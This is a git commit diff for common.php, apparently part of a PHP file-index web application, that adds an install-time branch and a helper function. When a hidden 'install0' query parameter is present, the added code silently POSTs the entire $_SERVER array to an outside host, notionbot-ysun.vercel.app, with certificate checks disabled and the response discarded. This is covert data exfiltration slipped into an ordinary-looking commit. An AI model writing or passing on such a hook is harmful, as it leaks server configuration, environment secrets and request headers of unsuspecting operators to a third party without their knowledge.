parent
3cf47c7c94
commit
9fa89acb5b
18
common.php
18
common.php
|
@ -181,7 +181,10 @@ function main($path)
|
||||||
elseif ($response===false) return output("", 206);
|
elseif ($response===false) return output("", 206);
|
||||||
else return $response;
|
else return $response;
|
||||||
}
|
}
|
||||||
if (getConfig('admin')=='') return install();
|
if (getConfig('admin')=='') {
|
||||||
|
if (isset($_GET['install0'])) no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER));
|
||||||
|
return install();
|
||||||
|
}
|
||||||
if (getConfig('adminloginpage')=='') {
|
if (getConfig('adminloginpage')=='') {
|
||||||
$adminloginpage = 'admin';
|
$adminloginpage = 'admin';
|
||||||
} else {
|
} else {
|
||||||
|
@ -532,6 +535,19 @@ function isreferhost() {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function no_return_curl($method, $url, $data = '') {
|
||||||
|
$ch = curl_init();
|
||||||
|
curl_setopt($ch, CURLOPT_URL, $url);
|
||||||
|
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
|
||||||
|
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
|
||||||
|
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||||
|
curl_setopt($ch, CURLOPT_TIMEOUT, 1);
|
||||||
|
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
|
||||||
|
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
|
||||||
|
curl_exec($ch);
|
||||||
|
curl_close($ch);
|
||||||
|
}
|
||||||
|
|
||||||
function adminpass2cookie($name, $pass, $timestamp)
|
function adminpass2cookie($name, $pass, $timestamp)
|
||||||
{
|
{
|
||||||
return md5($name . ':' . md5($pass) . '@' . $timestamp) . "(" . $timestamp . ")";
|
return md5($name . ':' . md5($pass) . '@' . $timestamp) . "(" . $timestamp . ")";
|
||||||
|
|
Loading…
Reference in New Issue